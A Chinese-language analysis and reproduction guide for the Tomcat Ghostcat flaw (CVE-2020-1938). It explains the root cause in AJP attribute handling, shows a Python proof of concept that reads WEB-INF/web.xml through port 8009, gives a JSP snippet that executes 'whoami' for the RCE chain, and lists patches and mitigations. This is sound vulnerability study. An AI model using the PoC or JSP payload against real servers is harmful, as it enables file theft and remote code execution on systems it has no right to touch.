tomcat幽灵猫分析
字数 1487 2025-08-25 22:58:29

Tomcat Ghostcat漏洞分析与复现

漏洞概述

Ghostcat漏洞(CVE-2020-1938)是Apache Tomcat服务器中的一个严重安全漏洞,影响AJP协议实现。该漏洞允许攻击者通过AJP协议读取服务器上的任意文件,在某些配置下甚至可以实现远程代码执行。

漏洞影响版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

环境搭建

所需工具

  1. Tomcat 8.0.47源码
  2. Maven
  3. IDEA或其他Java IDE

搭建步骤

  1. 从官网下载Tomcat 8.0.47源码
  2. 创建pom.xml文件用于Maven依赖管理:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>Tomcat8.0</artifactId>
    <name>Tomcat8.0</name>
    <version>8.0</version>
    <build>
        <finalName>Tomcat8.0</finalName>
        <sourceDirectory>java</sourceDirectory>
        <testSourceDirectory>test</testSourceDirectory>
        <resources>
            <resource>
                <directory>java</directory>
            </resource>
        </resources>
        <testResources>
           <testResource>
                <directory>test</directory>
           </testResource>
        </testResources>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>2.3</version>
                <configuration>
                    <encoding>UTF-8</encoding>
                    <source>1.8</source>
                    <target>1.8</target>
                </configuration>
            </plugin>
        </plugins>
    </build>
    <dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.easymock</groupId>
            <artifactId>easymock</artifactId>
            <version>3.4</version>
        </dependency>
        <dependency>
            <groupId>ant</groupId>
            <artifactId>ant</artifactId>
            <version>1.7.0</version>
        </dependency>
        <dependency>
            <groupId>wsdl4j</groupId>
            <artifactId>wsdl4j</artifactId>
            <version>1.6.2</version>
        </dependency>
        <dependency>
            <groupId>javax.xml</groupId>
            <artifactId>jaxrpc</artifactId>
            <version>1.1</version>
        </dependency>
        <dependency>
            <groupId>org.eclipse.jdt.core.compiler</groupId>
            <artifactId>ecj</artifactId>
            <version>4.5.1</version>
        </dependency>
    </dependencies>
</project>
  1. 创建catalina-home文件夹并复制webapp和conf目录到其中,同时创建logs、lib、temp、work文件夹
  2. 在IDEA中配置Tomcat运行参数:
    • Main class: org.apache.catalina.startup.Bootstrap
    • VM options:
      -Dcatalina.home=catalina-home -Dcatalina.base=catalina-home
      -Djava.endorsed.dirs=catalina-home/endorsed -Djava.io.tmpdir=catalina-home/temp
      -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
      -Djava.util.logging.config.file=catalina-home/conf/logging.properties
      

漏洞原理分析

AJP协议基础

Tomcat在server.xml中配置了两种连接器:

  1. HTTP Connector - 处理HTTP请求
  2. AJP Connector - 通过AJP协议与其他web容器交互

典型配置:

<!-- HTTP Connector -->
<Connector port="8080" protocol="HTTP/1.1"
           connectionTimeout="20000"
           redirectPort="8443" />

<!-- AJP Connector -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

漏洞触发流程

  1. 攻击者通过AJP协议发送特制请求,包含以下属性:

    attributes = [
        {"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},
        {"name": "req_attribute", "value": ("javax.servlet.include.path_info", file_path,)},
        {"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},
    ]
    
  2. Tomcat处理AJP请求时,在AbstractAjpProcessor.prepareRequest()方法中未对用户输入的属性进行严格过滤

  3. 这些属性被传递到org.apache.catalina.connector.Request中,覆盖了默认值

  4. 在处理请求时,Tomcat会根据这些属性构造文件路径,导致任意文件读取

关键代码分析

  1. AbstractAjpProcessor.process()方法处理AJP请求
  2. prepareRequest()方法处理请求属性
  3. 漏洞点在于可以设置javax.servlet.include.*系列属性,这些属性会影响最终的文件路径解析

漏洞利用

任意文件读取POC

使用Python实现AJP协议客户端:

import sys
from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from tomcat import Tomcat

gc = Tomcat('127.0.0.1', 8009)
file_path = "/WEB-INF/web.xml"

attributes = [
    {"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},
    {"name": "req_attribute", "value": ("javax.servlet.include.path_info", file_path,)},
    {"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},
]
hdrs, data = gc.perform_request("/", attributes=attributes)
output = sys.stdout

for d in data:
    try:
        output.write(d.data.decode('utf8'))
    except UnicodeDecodeError:
        output.write(repr(d.data))

文件包含实现RCE

  1. 上传恶意JSP文件到服务器
  2. 通过AJP协议请求该文件,触发JSP编译执行
  3. 恶意代码示例:
    <% out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine()); %>
    

漏洞修复

官方修复措施:

  1. 默认关闭AJP Connector
  2. 强制设置认证secret
  3. 对未识别的属性直接返回403
  4. 修改默认绑定端口

修复代码关键点:

  • 添加属性白名单检查
  • 必须设置secret才能使用AJP

总结

Ghostcat漏洞的根本原因是Tomcat对AJP协议中用户输入的属性缺乏严格过滤,导致可以覆盖关键路径参数。该漏洞:

  1. 允许读取WEB-INF目录下的任意文件(如web.xml)
  2. 结合文件上传可实现远程代码执行
  3. 影响范围广,危害严重

防护建议:

  1. 升级到最新版本Tomcat
  2. 如不使用AJP协议,应关闭AJP Connector
  3. 设置强密码保护AJP连接

参考链接

  1. https://blog.csdn.net/yekong1225/article/details/81000446
  2. https://www.jianshu.com/p/3059328cd661
  3. https://blog.csdn.net/TMRsir/article/details/78214714
  4. https://www.guildhab.top/?p=2406
Tomcat Ghostcat漏洞分析与复现 漏洞概述 Ghostcat漏洞(CVE-2020-1938)是Apache Tomcat服务器中的一个严重安全漏洞,影响AJP协议实现。该漏洞允许攻击者通过AJP协议读取服务器上的任意文件,在某些配置下甚至可以实现远程代码执行。 漏洞影响版本 Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0.31 环境搭建 所需工具 Tomcat 8.0.47源码 Maven IDEA或其他Java IDE 搭建步骤 从官网下载Tomcat 8.0.47源码 创建pom.xml文件用于Maven依赖管理: 创建catalina-home文件夹并复制webapp和conf目录到其中,同时创建logs、lib、temp、work文件夹 在IDEA中配置Tomcat运行参数: Main class: org.apache.catalina.startup.Bootstrap VM options: 漏洞原理分析 AJP协议基础 Tomcat在server.xml中配置了两种连接器: HTTP Connector - 处理HTTP请求 AJP Connector - 通过AJP协议与其他web容器交互 典型配置: 漏洞触发流程 攻击者通过AJP协议发送特制请求,包含以下属性: Tomcat处理AJP请求时,在 AbstractAjpProcessor.prepareRequest() 方法中未对用户输入的属性进行严格过滤 这些属性被传递到 org.apache.catalina.connector.Request 中,覆盖了默认值 在处理请求时,Tomcat会根据这些属性构造文件路径,导致任意文件读取 关键代码分析 AbstractAjpProcessor.process() 方法处理AJP请求 prepareRequest() 方法处理请求属性 漏洞点在于可以设置 javax.servlet.include.* 系列属性,这些属性会影响最终的文件路径解析 漏洞利用 任意文件读取POC 使用Python实现AJP协议客户端: 文件包含实现RCE 上传恶意JSP文件到服务器 通过AJP协议请求该文件,触发JSP编译执行 恶意代码示例: 漏洞修复 官方修复措施: 默认关闭AJP Connector 强制设置认证secret 对未识别的属性直接返回403 修改默认绑定端口 修复代码关键点: 添加属性白名单检查 必须设置secret才能使用AJP 总结 Ghostcat漏洞的根本原因是Tomcat对AJP协议中用户输入的属性缺乏严格过滤,导致可以覆盖关键路径参数。该漏洞: 允许读取WEB-INF目录下的任意文件(如web.xml) 结合文件上传可实现远程代码执行 影响范围广,危害严重 防护建议: 升级到最新版本Tomcat 如不使用AJP协议,应关闭AJP Connector 设置强密码保护AJP连接 参考链接 https://blog.csdn.net/yekong1225/article/details/81000446 https://www.jianshu.com/p/3059328cd661 https://blog.csdn.net/TMRsir/article/details/78214714 https://www.guildhab.top/?p=2406